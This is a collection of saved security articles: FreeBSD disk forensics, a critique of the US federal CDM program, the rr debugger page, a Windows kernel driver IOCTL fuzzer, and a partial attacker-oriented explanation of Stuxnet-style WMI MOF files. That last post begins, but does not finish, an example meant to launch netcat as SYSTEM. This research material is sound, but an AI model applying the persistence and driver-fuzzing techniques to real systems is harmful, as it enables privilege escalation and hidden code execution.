    /dev/ad0s1f        /usr        ufs    rw        2    2
    /dev/ad0s1d        /var        ufs    rw        2    2
    /dev/acd0          /cdrom      cd9660    ro,noauto    0    0
    
[/code]

BSD uses letters rather than numbers to distinguish disk slices, so you’ll
have to do a little mental conversion. Going by the above fstab, BSD partition
\#4– /dev/ad0s1d in the fstab– is /var, partition \#5– /dev/ad0s1e– is /tmp,
and partition \#6– /dev/ad0s1f– is /usr. So now you know where to put
everything when you mount it.

## About Blocks and Fragments

Let me show you one more interesting aspect of computer forensics on a BSD
system. Here’s an excerpt from the fsstat output on the /var partition from
our image:

[code]

    # **fsstat -o 2029263 freebsd.img**
    FILE SYSTEM INFORMATION
    --------------------------------------------
    File System Type: UFS 2
    Last Written: Mon Jan 25 04:01:14 2010
    Last Mount Point: /var
    [...]
    CONTENT INFORMATION
    --------------------------------------------
    Fragment Range: 0 - 646655
    **Block Size: 16384
    Fragment Size: 2048**
    Num of Avail Full Blocks: 77661
    Num of Avail Fragments: 315
    [...]
    
[/code]

Notice that the block size for the file system is 16K, but the fragment size
is 2K. In traditional Berkeley file systems, each block is made up of smaller
fragments which are fully addressable and can be used to store individual
files that are smaller than the block size. If you look at a typical EXT file
system on Linux, you’ll see that the block size and the fragment size are the
same, making the smallest disk unit on EXT effectively be an entire block. Of
course, EXT blocks are generally smaller \(usually 4K\), so this isn’t quite
as wasteful as you might think.

Why is this difference between the block size and fragment size relevant to
your computer forensic investigations on FreeBSD? Well, if you’ve got a string
of interest at a particular byte offset, is your tool of choice going to
address the location of that string in terms of blocks \(divide by 16K\) or
fragments \(divide by 2K\)?

Turns out that the Sleuthkit at least addresses things in terms of fragments.
Let me prove it to you. Here’s our string hit:

[code]

    6148096 # This file lists authorizations for user haldaemon
    
[/code]

We’re going to divide the byte offset by the fragment size and then use blkcat
to dump the fragment. If I’m telling you the truth, we should see our string
of interest in the blkcat output:

[code]

    # **expr 6148096 / 2048**
    3002
    # **blkcat -o 2029263 freebsd.img 3002**
    # This file lists authorizations for user haldaemon
    #
    # File format may change at any time; do not rely on it. To manage
    # authorizations use polkit-auth(1) instead.
    
    scope=grant:action-id=org.freedesktop.policykit.read:when=1263385148:granted-by=0
    
[/code]

Bingo\! From here we could work back to to the actual file name using the TSK
tools, but that’s an article for another day perhaps.

## Conclusion

I hope this article helps illuminate some of the differences between FreeBSD
and Linux analysis. There are other differences, of course, largely dealing
with different file system layouts \(”Where were those crontabs again? Oh
yeah, /var/cron/tabs/…”\). But this should be enough to get you moving in the
right direction.

Hal Pomeranz is an Independent IT/Security Consultant, a SANS Institute
Faculty Fellow, and a GCFA. And, yes, he swings both ways… when it comes to
Unix-like operating systems, that is. Hal will be teaching Security 508:
Computer Forensics, Investigation, and Response at SANS Virginia Beach, May
24-29.

  *[February 10, 2010 – 1:38 pm]: 2010-02-10T13:38:45+0000

# TaoSecurity: Continuous Diagnostic Monitoring Does Not Detect Hackers

**Created:**| _6/9/2015 7:12:02 PM_  
---|---  
**Updated:**| _6/9/2015 7:12:02 PM_  
**Author:**| __  
**Tags:**| _iDS/iPS monitoring_  
  

# Continuous Diagnostic Monitoring Does Not Detect Hackers

<img src='img/Temp2_7913.jpg' />

There is a dangerous misconception coloring the digital security debate in the
Federal government. During the last week, in the wake of the breach at the
Office of Personnel Management \(OPM\), I have been discussing countermeasures
with many parties. Concerned officials, staffers, and media have asked me
about the Einstein and Continuous Diagnostic Monitoring \(CDM\) programs. It
has become abundantly clear to me that there is a fundamental misunderstanding
about the nature of CDM. This post seeks to remedy that problem.  
  
The story Federal cyber protection knocked as outdated, behind schedule by
Cory Bennett unfortunately encapsulates the misunderstanding about Einstein
and CDM:  
  
_The main system used by the federal government to protect sensitive data from
hacks has been plagued by delays and criticism that it is already outdated —
months before it is even fully implemented._  
_The**Einstein system is intended to repel cyberattacks** like the one
revealed last week by the Office of Personnel Management \(OPM\)..._  
_Critics say Einstein has been a multibillion-dollar boondoggle that is
diverting attention away from the security overhaul that is needed..._  
_**To offset those shortcomings** , officials in recent years started rolling
out a **_Continuous Diagnostics and Mitigation \(CDM\) program, which searches
for nefarious actors once they’re already in the networks._** It’s meant to
complement and eventually integrate with Einstein. _\(emphasis added\)  
  
The section I bolded and underlined is 100% false. CDM does **not** "search"
for "nefarious actors" "in the networks." CDM is a **vulnerability management
program.** Please see the figure at the upper left. It depicts the six phases
of the CDM program:

  1. Install/update "sensors." \(More on this shortly\)
  2. Automated search for **flaws**.
  3. Collect results from departments and agencies.
  4. Triage and analyze results.
  5. **Fix** worst **flaws**.
  6. Report progress.

CDM searches for **flaws** \(i.e., vulnerabilities\), and Federal IT workers
are supposed to then **fix the flaws**. The "sensors" mentioned in step 1 are
vulnerability management and discovery platforms. They are not searching for
intruders. You could be forgiven for misunderstanding what "sensor" means.
Consider the following from the DHS CDM page:

_The CDM program enables government entities to expand their continuous
diagnostic capabilities by increasing their**network sensor capacity** ,
automating sensor collections, and prioritizing risk alerts._

Again, "sensor" here does not mean "sensing" to find intruders. The next
paragraph says:

_CDM offers commercial off-the-shelf \(COTS\) tools, with robust terms for
technical modernization as threats change. First, agency-installed sensors
perform an automated**search for known cyber flaws.** Results feed into a
local dashboard that produces customized reports, alerting network managers to
their worst and most critical cyber risks based on standardized and weighted
risk scores. Prioritized alerts enable agencies to efficiently allocate
resources based on the severity of the risk. Progress reports track results,
which can be used to compare security posture among department/agency
networks. Summary information can feed into an enterprise-level dashboard to
inform and **situational awareness** into cybersecurity risk posture across
the federal government._

The "situational awareness" here means **configuration and patch status,** not
**intrusion** status.

I captured the CMD figure from US-CERT's Continuous Diagnostic Monitoring
program overview \(pdf\). It also appears on the DHS CDM page. The US-CERT
program Web page lists the core tools used for CDM as the following:

  * Intro to _Hardware Asset Management_ \(HWAM\)
  * Intro to _Software Asset Management_ \(SWAM\)
  * Intro to _Vulnerability Management_\(VUL\)
  * Intro to _Configuration Settings Management_ \(CSM\)

As you can see, CDM is about managing infrastructure, not detecting and
responding to intruders. Don't be fooled by the "monitoring" in the term CDM;
"monitoring" here means looking for flaws.

In contrast, Einstein is an intrusion detection and prevention platform. It is
a network-based system that uses threat signatures to identify indications of
compromise observable in network traffic. Einstein 1 and 2 were more like
traditional IDS technologies, while Einstein 3 and 3 accelerated are more like
IDP technologies.

Critics of my characterization might say "CDM is more than faster patching."
According to the GSA page on CDM, CDM as I described earlier is only phase 1:

Endpoint Integrity

  * HWAM – Hardware Asset Management
  * SWAM – Software Asset Management
  * CSM – Configuration Settings Management
  * VUL – Vulnerability Management

Phase 2 will include the following:

Least Privilege and Infrastructure Integrity

  * TRUST –Access Control Management \(Trust in People Granted Access\)
  * BEHAVE – Security-Related Behavior Management
  * CRED – Credentials and Authentication Management
  * PRIV – Privileges

Phase 3 will include the following:

Boundary Protection and Event Management for Managing the Security Lifecycle

  * Plan for Events
  * Respond to Events
  * Generic Audit/Monitoring
  * Document Requirements, Policy, etc.
  * Quality Management
  * Risk Management
  * Boundary Protection – Network, Physical, Virtual

What do you not see listed in any of these phases? Aside from "respond to
events," which does not appear to mean intrusions, I still see no strong focus
on **detecting and responding to intrusions.** CDM beyond phase 1 is still
just dealing with "cyber hygiene." Unfortunately, even the President does not
have the proper strategic focus. As reported by the Hill:

_President Obama acknowledged that one of the United States’s problems is that
it has a “very old system.”_

_“What we are doing is going agency by agency and**figuring out what can we
fix with better practices and better computer hygiene** by personnel, and
where do we need new systems and new infrastructure in order to protect
information,”_  
  
Don't misunderstand my criticism of CDM as praise for Einstein. At the very
least, Einstein, or a technology like it, should have been deployed across the
Federal government while I was still in uniform, 15 years ago. We had
equivalent technology in the Air Force 20 years ago. \(See the foreword for my
latest book online for history.\)  
  
Furthermore, I'm not saying that CDM is a bad approach. All of the CDM phases
are needed. I understand that intruders are going to have an easy time getting
back into a poorly secured network.  
  
My goal with this post is to show that CDM is either being sold as, or
misunderstood as, a way to detect intruders. **CDM is not an intrusion
detection program** ; CDM is a vulnerability management program, a method to
_Find and Fix Flaws Faster_. CDM should have been called "F^4, F4, or 4F" to
capture this strategic approach.  
  
The focus on CDM has meant intruders already present in Federal networks are
left to steal and fortify their positions, while scarce IT resources are
devoted to patching. The Feds are identifying and locking doors and windows
while intruders are inside the house.  
  
It's time for a new \(yet ideologically very old\) strategy: find the
intruders in the network, remove them, and then conduct counter-intrusion
campaigns to stop them from accomplishing their mission when they inevitably
return. CDM is the real "multibillion-dollar boondoggle that is diverting
attention away from the security overhaul that is needed." The OPM breach is
only the latest consequence of the misguided CDM-centric strategy.  
  

# dn42

**Created:**| _2/9/2010 9:15:57 PM_  
---|---  
**Updated:**| _2/9/2010 9:16:05 PM_  
**Author:**| __  
**Tags:**| __  
  
<img src='img/Temp2_10180' />

# rr: lightweight recording & deterministic debugging

**Created:**| _9/5/2014 10:17:32 AM_  
---|---  
**Updated:**| _9/5/2014 10:17:32 AM_  
**Author:**| __  
**Tags:**| _Debugging tracing_  
  

# rr

  * github
  * travis-ci
  * mailing list
  * news
  * \#research on irc.mozilla.org

## rr records nondeterministic executions and debugs them deterministically

### rr aspires to be your primary debugging tool, replacing — well, enhancing
— gdb. You record a failure once, then debug the recording, deterministically,
as many times as you want. Every time the same execution is replayed.

## the rr debugging experience

Start by using rr to record your application:

[code]

    $ rr record /your/application --args
    ...
    FAIL: oh no!
          
[/code]

The entire execution, including the failure, was saved to disk. That recording
can now be debugged.

[code]

    $ rr replay
    GNU gdb (GDB) ...
    ...
    0x4cee2050 in _start () from /lib/ld-linux.so.2
    (gdb)
          
[/code]

Remember, you're debugging the _recorded trace_ deterministically; _not_ a
live, nondeterministic execution. The replayed execution's address spaces,
register contents, syscall data etc are exactly the same in every run.

Most of the common gdb commands can be used.

[code]

    (gdb) break mozilla::dom::HTMLMediaElement::HTMLMediaElement
    ...
    (gdb) continue
    Continuing.
    ...
    Breakpoint 1, mozilla::dom::HTMLMediaElement::HTMLMediaElement (this=0x61362f70, aNodeInfo=...)
    ...
          
[/code]

If you need to restart the debugging session, for example because you missed
breaking on some critical execution point, no problem. Just use gdb's `run`
command to restart replay.

[code]

    (gdb) run
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    ...
    Breakpoint 1, mozilla::dom::HTMLMediaElement::HTMLMediaElement (this=0x61362f70, aNodeInfo=...)
    ...
    (gdb) 
          
[/code]

The `run` command started another replay run of your recording from the
beginning. But after the session restarted, the _same execution_ was replayed
again. And all your debugging state was preserved across the restart.

Note that the the `this` pointer of the dynamically-allocated object was the
same in both replay sessions. Memory allocations are exactly the same in each
replay, meaning you can hard-code addresses you want to watch.

This video shows a quick demo of rr recording and replaying Firefox.

This video demonstrates rr's basic capabilities in a bit more detail.

## getting started

### fedora

[code]

    cd /tmp
    wget http://rr-project.org/releases/rr-1.5.0-Linux-$(uname -m).rpm
    sudo rpm -i rr-1.5.0-Linux-$(uname -m).rpm
          
[/code]

### ubuntu

[code]

    cd /tmp
    wget http://rr-project.org/releases/rr-1.5.0-Linux-$(uname -m).deb
    sudo dpkg -i rr-1.5.0-Linux-$(uname -m).deb
          
[/code]

### or build from source

Follow these instructions.

### run rr

Follow the usage instructions to set up your machine \(if necessary\) and
learn how to use rr.

If you're using rr to debug Firefox, you may find  these special setup
instructions helpful. They cover how to build a 32-bit Firefox on a 64-bit OS,
and how to use rr to record Firefox test suites.

## background and motivation

Everyone who's worked on a nontrivial application \(like Firefox\) has gone
through the pain of debugging an intermittently-reproducible bug. Since
nontrivial applications are _nondeterministic_ , each execution is different,
and you may require 5, 10, or even 100 runs just to see the bug manifest.

It's hard to debug these bugs with traditional techniques because single
stepping, setting breakpoints, inspecting program state, etc, is all a waste
of time if the program execution you're debugging ends up not even exhibiting
the bug. Even when you can reproduce the bug consistently, important
information such as the addresses of suspect objects is unpredictable from run
to run. Given that software developers spend a lot of time finding and fixing
bugs, nondeterminism has a major impact on their work.

And there are intermittent bugs that are so hard to reproduce that they're
literally not the worth the time to fix with traditional techniques. However,
for big projects like Firefox with its half-billion users, a bug that only
reproduces 1 out of 10,000 test runs can still have a negative impact on
users.

rr solves these problems by splitting debugging into two phases: first
_recording_ , in which the application's execution history is saved; then
_deterministic debugging_ of the saved trace: using gdb to control replay of
the trace, as many times as you want.

The saved execution history captures all nondeterminism in the program's
execution. By replaying that trace in the right way, rr guarantees each
debugging session is entirely deterministic. The memory layout is always the
same, the addresses of objects don't change, register values are identical,
syscalls return the same data, etc.

The benefit to developers is obvious: an intermittent bug can be recorded by a
script over lunchtime, say, and then debugged at leisure in the afternoon.
Multiple cores can be used in parallel to record failures. If you accidentally
set a breakpoint in the wrong place and miss gathering critical information,
your precious intermittent failure isn't lost. Just fix your breakpoint and
then tell gdb to `run` the recording back from the beginning again. Even for
easily reproducible bugs, a repeatable, deterministic, debugging session is a
powerful tool on top of traditional debugging.

And for projects like Firefox which run literally millions of tests a day on a
vast build and test infrastructure, intermittent failures in those test runs
can be recorded on the infrastructure itself and then deterministically
debugged at some later time, offline.

Tools like fuzzers and randomized fault injectors become even more powerful
when used with rr. Those tools are very good at triggering _some_ intermittent
failure, but it's often hard to reproduce _that same_ failure again to debug
it. With rr, the randomized execution can simply be recorded. If the execution
failed, then the saved recording can be used to deterministically debug the
problem.

So rr lowers the cost of fixing intermittent bugs. This allows a new class of
bugs to be fixed with the same amount of engineering time and money, which in
turn produces higher-quality software for the same cost.

Deterministic debugging is an old idea; many systems have preceded rr. What
makes rr different, in our opinion, are the design goals:

  * _Initially focus on debugging Firefox_. Firefox is a complex application, so if rr is useful for debugging Firefox, it is very likely to be generally useful. However, there's nothing about rr that's specific to Firefox; we've just spent the majority of our testing time on Firefox. rr will work well with more programs as the project matures. 
  * _Prioritize deployability_. rr runs on a stock linux kernel, and requires no system configuration changes. And of course rr works on stock, relatively modern hardware. 
  * _Make run-time overload low_. We want rr to replace gdb in your workflow. That means you need to start getting results with rr about as quickly as you would if you were using gdb. 

The overhead of rr depends on your application's workload. On Firefox test
suites, rr's recording performance is quite usable. We see slowdowns down to ≤
1.2x. A 1.2x slowdown means that if the suite takes 10 minutes to run by
itself, it will take around 12 minutes to be recorded by rr. However,
different test suites have different performance characteristics, so they have
different overheads as well.

## limitations

Some of rr's limitations are inherent, and some will be removed in future
releases.

rr …

  * emulates a single-core machine. So, parallel programs incur the slowdown of running on a single core. This is an inherent feature of the design. 
  * cannot record processes that share memory with processes outside the recording tree. This is an inherent feature of the design. rr automatically disables features such as X shared memory for recorded processes to avoid this problem. 
  * currently only supports x86 32-bit processes. x86-64 support is being worked on. 
  * requires a reasonably modern x86 CPU. It depends on certain performance counter features that are not available in older CPUs, or in ARM at all currently. 
  * requires knowledge of every system call executed by the recorded processes. It already supports a wide range of syscalls — those needed by Firefox — but support isn't comprehensive, so running rr on your application may uncover a syscall that needs to be implemented. 

## further reference

This presentation provides an overview of the rr implementation and is meant
for potential rr developers. There are some bonus slides intended to introduce
rr to record/replay researchers.

The rr wiki contains pages that cover technical topics related to rr.

More information about rr will be posted in the future.

© 2014

# Pop Pop Ret

**Created:**| _4/7/2012 11:31:52 AM_  
---|---  
**Updated:**| _4/7/2012 11:31:52 AM_  
**Author:**| __  
**Tags:**| _windows environment fuzzing_  
  

##

###  \[Tool/PoC\] IOCTLbf - Scanning IOCTLs & Fuzzing Windows kernel drivers

**1\. Overview**

  

IOCTLbf is just a small tool \(Proof of Concept\) that can be used to search
vulnerabilities in Windows kernel drivers by performing two tasks:

  * **Scanning for valid IOCTL codes supported by drivers,**
  * **Generation-based IOCTL fuzzing**

**An advantage of this tool is that it does not rely on captured IOCTLs.
Therefore, it is able to detect valid IOCTL codes supported by drivers and
that are not often, or even never, used by applications from user land.** For
example, it may be the case for:

  * IOCTLs called in very specific conditions \(not easy to discover and/or to reproduce\).
  * IOCTLs used for debugging purpose that are sometimes let in drivers.

Once scanning is done and valid IOCTLs have been found for a given driver, the
user can choose one IOCTL in the list to begin the fuzzing process. Note that
this tool only performs generation-based

fuzzing. Compared to mutation-based fuzzing \(which consists in taking valid
IOCTL buffers and adding anomalies\), the code coverage is of course less
important.  
  
=> http://code.google.com/p/ioctlbf/

Note: for mutation-based IOCTL fuzzing, check out the great tool "_IOCTL
fuzzer_ " **\[1\]**. Basically, it hooks _nt\!NtDeviceIoControlFile_ in order
to take control of all IOCTL requests throughout the system. A good example of
use in the real world can be found at **\[2\]**.

  

**2\. Reminder about IOCTLs**

  
\(Very good reference for this part: **\[3\]**\)  
  

### 2.1. IOCTL codes

According to winioctl.h:  

[code]

    IOCTL's are defined by the following bit layout.
     [Common |Device Type|Required Access|Custom|Function Code|Transfer Type]
       31     30       16 15          14  13   12           2  1            0
    
       Common          - 1 bit.  This is set for user-defined
                         device types.
       Device Type     - This is the type of device the IOCTL
                         belongs to.  This can be user defined
                         (Common bit set).  This must match the
                         device type of the device object.
       Required Access - FILE_READ_DATA, FILE_WRITE_DATA, etc.
                         This is the required access for the
                         device.
       Custom          - 1 bit.  This is set for user-defined
                         IOCTL's.  This is used in the same
                         manner as "WM_USER".
       Function Code   - This is the function code that the
                         system or the user defined (custom
                         bit set)
       Transfer Type   - METHOD_IN_DIRECT, METHOD_OUT_DIRECT,
                         METHOD_NEITHER, METHOD_BUFFERED, This
                         the data transfer method to be used.
    
[/code]

  

**For a given device, only the fields "_Function Code_ " and "_Transfer Type_
" change for the different supported IOCTL codes.**

  

### 2.2. Buffers specifications

  
Buffer sizes are defined by the following parameters:  

[code]

    Input Size  = nt!_IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
    Output Size = nt!_IO_STACK_LOCATION.Parameters.DeviceIoControl.OutputBufferLength
    
[/code]

  
The way buffers are passed from userland to kernelland, and from kernelland to
userland, actually depends on the method which is used. Here are the
differences:  
  

  * **METHOD\_BUFFERED** :  
  
Input Buffer = nt\!\_IRP.AssociatedIrp.SystemBuffer  
Output Buffer = nt\!\_IRP.AssociatedIrp.SystemBuffer  
  
Input & output buffers use the same location, so the buffer allocated by the
I/O manager is the size of the larger value \(output vs. input\).

  * **METHOD\_X\_DIRECT** :  
  
Input Buffer = nt\!\_IRP.AssociatedIrp.SystemBuffer  
Output Buffer = nt\!\_IRP.MdlAddress  
  
The input buffer is passed in using "BUFFERED" implementation. The output
buffer is passed in using a MDL \(which permits Direct Memory Access\). The
difference between "IN" and "OUT" is that with "IN", you can use the output
buffer to pass in data\! The "OUT" is only used to return data.

  * **METHOD\_NEITHER** :   
  
Input Buffer =
nt\!\_IO\_STACK\_LOCATION.Parameters.DeviceIoControl.Type3InputBuffer  
Output Buffer = nt\!\_IRP.UserBuffer  
  
Input & output buffers sizes may be different. The I/O manager does not
provide any system buffers or MDLs. The IRP supplies the user-mode virtual
addresses of the input and output buffer

  

**3\. How to use it ?**

  

  1. First of all, it is necessary to locate the target driver. A tool like "_DriverView_ " **\[4\]** can be used in order to easily spot non-Microsoft drivers \(third-party drivers\).  
  

  2. Then, it is necessary to check what are the device\(s\) associated with the target driver. A good tool to do this is "_DeviceTree_ " for example **\[5\]**.  
  

  3. Check the security attributes \(DACL\) of the device\(s\). It should be available for limited users in order to make it interesting from an attacker point of view. Indeed, vulnerabilities in drivers may lead to Local Privilege Escalation on the system, or just Denial of Service when it is not exploitable.  
  

  4. Retrieve the symbolic link used by applications to communicate with one device of the target driver. All symbolic links can be listed with the Sysinternal's tool "_WinObj_ " in the "GLOBAL??" section **\[6\]**.  
  

  5. Finally, it is necessary to know at least one valid IOCTL code supported by the target driver. For example, it can be easily done by monitoring IRPs with a tool like "_OSR's IrpTracker Utility_ " **\[7\]**.  
  
Make sure to apply a filter on "DEVICE\_CONTROL" only and to select only the
target driver.  
Of course, it is also possible to retrieve valid IOCTL codes directly by
reverse engineering the driver.  
  

  6. Once a valid IOCTL code is retrieved, "IOCTLbf" can be used. One of the following IOCTL codes scanning modes can be chosen:  

     * Function code + Transfer type bruteforce,
     * IOCTL codes range,
     * Single IOCTL code.  

The scanning process returns supported IOCTL codes and accepted buffer sizes
for each one.  
  

  7. The next step simply consists in choosing one IOCTL to fuzz. The fuzzing process actually follows the following steps:

  * \[if method \!= METHOD\_BUFFERED\] Invalid addresses of input/output buffers,
  * Check for trivial kernel overflows,

  * Fuzzing with predetermined DWORDs \(invalid addresses, addresses pointing to long ascii/unicode strings, adress pointing to a table of invalid addresses\)

  * Fuzzing with fully random data.

Of course, in order to be able to investigate system crashes that may occur
while fuzzing, you should either:

  * Enable complete crash dump,
  * Or use remote kernel debugging.

  

Here are the command line options :

[code]

    > ioctlbf.EXE
        _                   _  _       ___
       (_)              _  | || |     / __)
        _  ___   ____ _| |_| || |__ _| |__
       | |/ _ \ / ___|_   _) ||  _ (_   __)
       | | |_| ( (___  | |_| || |_) )| |
       |_|\___/ \____)  \__)\_)____/ |_|    v0.4
    
      Usage
      -----
      ioctlbf.EXE -d <deviceName> (-i <code>|-r <code>-<code>) [-u] [-q] [-f] [-e]
    
      Options
      -------
      -d    Symbolic device name (without \\.\)
      -i    IOCTL code used as reference for scanning (see also -u)
      -r    IOCTL codes range (format: 00004000-00008000) to fuzz
      -u    Fuzz only the IOCTL specified with -i
      -f    Filter out IOCTLs with no buffer length restriction
      -q    Quiet mode (do not display hexdumps when fuzzing)
      -e    Display error codes during IOCTL codes scanning
      -h    Display this help
    
      Examples
      --------
    Scanning by Function code + Transfer type bruteforce from given valid IOCTL:
      > ioctlbf.EXE -d deviceName -i 00004000 -q
    
    Scanning a given IOCTL codes range (filter enabled):
      > ioctlbf.EXE -d deviceName -r 00004000-00004fff -f
    
    Fuzzing only a given IOCTL (quiet mode):
      > ioctlbf.EXE -d deviceName -i 00004000 -u -q
[/code]

  
  
**4\. Example**  
  
Here is a simple example of use of the tool on the driver "_aswSnx.sys_ "
installed by "_Avast\! Antivirus "_:  
  

<img src='img/Temp2_6267.png' width='596' height='640' />

  

<img src='img/Temp2_6266.png' width='640' height='462' />

  
  
**5\. Conclusion**  
  
_" IOCTL Fuzzer_" will, of course, do a better job on the IOCTLs it captures,
but the fact is that it won't always capture all the IOCTLs that are supported
by drivers... And this is where a tool like "_IOCTLbf "_ can be useful even if
it's far from being perfect and won't be able to detect all the supported
IOCTLs every time \(depends on the way the dispatch routine was written\).
It's still very improvable \!  
  
Anyway, it appears that dumb fuzzing is still working in 2012 :\)\)  
For example, here is an exploitable bug \(Kernel pointer dereference\) that
has been found using "_IOCTLbf "_ in the antivirus "_Norman Security Suite 8
"_. It leads to a possibility of local privilege escalation:  

  * Advisory: http://www.norman.com/support/security\_bulletins/privilege\_escalation\_vulnerability\_in\_norman\_security\_suite\_32\_bits/fr
  * Exploit: http://www.exploit-db.com/exploits/17902/

Note that many bugs that can be found in drivers might not be exploitable and
so, might only lead to Denial of Services from limited accounts on the system.  
  

  
**References \(Articles/Tools\)**  
  
**\[1\]** _IOCTL fuzzer_ , by eSage lab  
http://code.google.com/p/ioctlfuzzer/  
  
**\[2\]** _Device Drivers Vulnerability Research \(with ioctlfuzzer\), Avast a
real case_ , by evilcry  
http://www.woodmann.com/forum/entry.php?183-Device-Drivers-Vulnerability-
Research-Avast-a-real-case  
  
**\[3\]** _Driver Development Part 2: Introduction to Implementing IOCTLs_ ,
by Toby Opferman  
http://www.codeproject.com/Articles/9575/Driver-Development-
Part-2-Introduction-to-Implemen  
  
**\[4\]** _Driver View_ , by NirSoft  
http://www.nirsoft.net/utils/driverview.html  
  
**\[5\]** _Device Tree_ , by OSR Online  
http://www.osronline.com/article.cfm?article=97  
  
**\[6\]** _WinObj_ , by Sysinternals  
http://technet.microsoft.com/en-us/sysinternals/bb896657  
  
**\[7\]**  _OSR's IrpTracker Utility,_ by OSR Online  
http://www.osronline.com/article.cfm?article=199

Publié par Xst3nZ à l'adresse 15:45

Envoyer par e-mailBlogThis\!Partager sur TwitterPartager sur Facebook

## dimanche 18 septembre 2011

###  Playing with MOF files on Windows, for fun & profit

In this article, we will focus on a high-level Windows feature that is not so
well-known, and that can be interesting from an attacker's point of view. I
will share my investigation of MOF files from its use in Stuxnet - in the
exploitation of a vulnerability in the Windows Printer Spooler - to some basic
practical examples of what we can do with MOF files.  
  
  
**1\. Stuxnet and the Windows Printer Spooler vulnerability****\(MS10-061\)**  
  
The Stuxnet Worm embedded 4 different 0-days, an overall analysis is given by
Symantec in **\[1\]** . Stuxnet has already been discussed a lot, and there
have been many good papers out there about the different vulnerabilities that
are exploited. In particular, the paper **\[2\]** published in MISC magazine
\(french\) gives a good overview of the vulnerability MS10-061 in Windows
Printer Spooler.  
  
Basically, this vulnerability permits to remotely execute code with SYSTEM
privilege on a Windows XP machine if a printer is shared on the network. It
was patched by Microsoft on September 2010 **\[3\]**. The other versions of
Windows are vulnerable, but only when really particular conditions are met, as
it is well sum up in **\[4\]** with the following figure:  
  
  
  

<img src='img/Temp2_6263.png' width='307' height='400' />

  
  
Actually, when a printer is shared on the network on Windows XP, it's
reachable by anybody as the Guest user in order to print documents. The
"printer spooler service" which is locally responsible for handling the
requests from the client is the _spoolsv.exe_ process. It's possible to
remotely talk with it by using the RPC protocol \(Remote Procedure Call\).
Stuxnet simply uses the methods implemented by the service to ask it to write
a file on the disk of the machine.  
  
The article **\[2\]** explains in detail that it is possible to specify a
destination path where to write the file by using the call to the API
_StartDocPrinter_ , which notifies the spooler that a new job arrived. In
Stuxnet, the goal was to execute the payload after uploading it to a file on
the remote machine. The authors actually used the Windows feature called WMI
\(Windows Management Instrumentation\). So, we'll investigate this technology
and we'll see some interesting subtleties.  
  
**2\. Windows Management Instrumentation \(WMI\)**  
  
Before practicing, we need to know a bit of theory about WMI. So I'll try to
sum up my researches about this Windows feature, and give the concepts that
are useful before beginning to play with it.  
  
According to **\[5\]** , we learn that:  
_“WMI is an implementation of Web-Based Enterprise Management \(WBEM\) \[…\].
The WBEM standard encompasses the design of an extensible enterprise data-
collection and data-management facility that has the flexibility and
extensibility required to manage local and remote systems that comprise
arbitrary components”. “WMI consists of four main components: management
applications, WMI infrastructure, providers, and managed objects \(system,
disks, processes, network components…\)”_. The following figure gives an
overview of the architecture of WMI.  
  
To sum up, it is an information exchange standard interface based on a
client/server model:  
  

<img src='img/Temp2_6261.png' width='640' height='532' />

  
  
... Well, the architecture is rather complex, let's try to dig into it...  
First, at the center of the WMI architecture, we have the WMI Infrastructure
which is composed of the CIMOM \(Common Information Model Object Manager\). It
binds management applications - also called "**consumers** " \- on the one
hand and "**providers** " on the other hand. This object manager is also in
relation with a repository \(CIM/WMI repository\) that stores CIM classes'
definitions.  
  
CIM classes are hierarchically organized with subclasses that inherit from
their parent class. CIM classes are grouped in namespaces, which are just
logical group of classes. For example, the namespace root\cimv2 includes most
of the classes that represent computer's resources. The language used to
describe CIM classes is called **MOF \(Managed Object Format\)**.  
  
What is really interesting with WMI is that it permits to execute some code
when the notification of an event occurs. The event might be a program start,
an user authentication, ... or any other Windows event. A MOF file needs to be
registered into the CIM/WMI repository in order to be taken into account by
WMI. When registering a MOF file, the CIM class\(es\) it describes are indeed
added into the repository.  
  
Let's see the classes that are interesting:  

  * _\_\_EventFilter_**\[6\] \[7\]** : permits to define a Windows event,
  * _\_\_EventConsumer_ **\[8\]** : defines a consumer. This class is actually an abstract class with several implementations. The most interesting one is _ActiveScriptEventConsumer_ **\[9\]** because it makes possible to embed VBScript or JSScript in the consumer. Note that it is only available in the namespace root\subscription.  
The cool thing is that **the consumer runs with SYSTEM privilege on Windows XP
and Windows 2003 Server**. Under Vista, it is running under the LOCAL\_SERVICE
user. I haven't tried under Windows 7, maybe someone ? =\)

  * _\_\_FilterToConsumerBinding_ **\[10\]** : it is used to link the two other instances. In other words, it permits to activate the consumer - and to execute its code - whenever the defined event occurs.

  

<img src='img/Temp2_6265.png' width='640' height='164' />

  
  

As we learn in **\[11\]** , MOF files are compiled into the WMI repository
using _mofcomp.exe_. Moreover, **a MOF file that is put in the
%SystemRoot%\System32\wbem\mof\ directory is automatically compiled and
registered into the WMI repository.** It is defined in the registry key
HKLM\SOFTWARE\

Microsoft\WBEM\CIMOM\ as we can see in here:  
  

<img src='img/Temp2_6268.png' width='640' height='124' />

  
**Note:** @jduck1337 made me noticed that MOF files aren't autocompiled on
Vista +  
  
The file _mofcomp.log_ located in %SystemRoot%\System32\wbem\mof\Logs\
contains the logs about MOF files compilations, as shown in the following
screenshot:  
  

<img src='img/Temp2_6262.png' width='640' height='202' />

  
  
This auto-compilation feature was used by _Stuxnet:_ 2 files were uploaded on
the targeted remote machine using MS10-061:  

  * %SystemRoot%\System32\winsta.exe: Stuxnet’s main module
  * %SystemRoot%\System32\wbem\mof\sysnullevnt.mof: MOF file that will automatically compile itself and that contains the code needed to execute the _winsta.exe_ file when some events occur.

  
Now, let's see MOF files in action with 3 fictive examples.  
  
  
**3\. A basic example of MOF file**  
  
Let's see a first basic example of MOF file: let's imagine that we want to
launch an executable when some events occur on the system. For illustration
purpose, we'll launch the executable \(here, Netcat for Windows\) when a new
log entry is added.  
  
So, we create a correct MOF file with a **consumer** \(instance of
_ActiveScriptEventConsumer_\) that executes a VBScript. This VBScript will
just create a Shell object and execute netcat with the right parameters. We'll
also define an **event filter** by instantiating the _\_\_EventFilter_ class,
in order to define when the consumer will be executed. For the example, we'll
notify the consumer from the event filter when a new entry is added in
"Application" Logs.  
  
Event filters must use a SQL-like language called WQL \(WMI Query Language\)
to define the Windows event\(s\) that will spark the execution of the consumer
**\[12\]**.  
  
Here is what looks like our first MOF file:  

view plainprint?

  1. \#pragma namespace \("\\\\\\\\.\\\root\\\subscription"\)
  2.   3. instance of \_\_EventFilter as $FILTER 
  4. \{ 
  5. Name = "CLASS\_FIRST\_TEST"; 
  6. EventNamespace = "root\\\cimv2"; 
  7. Query = "SELECT \* FROM \_\_InstanceCreationEvent "
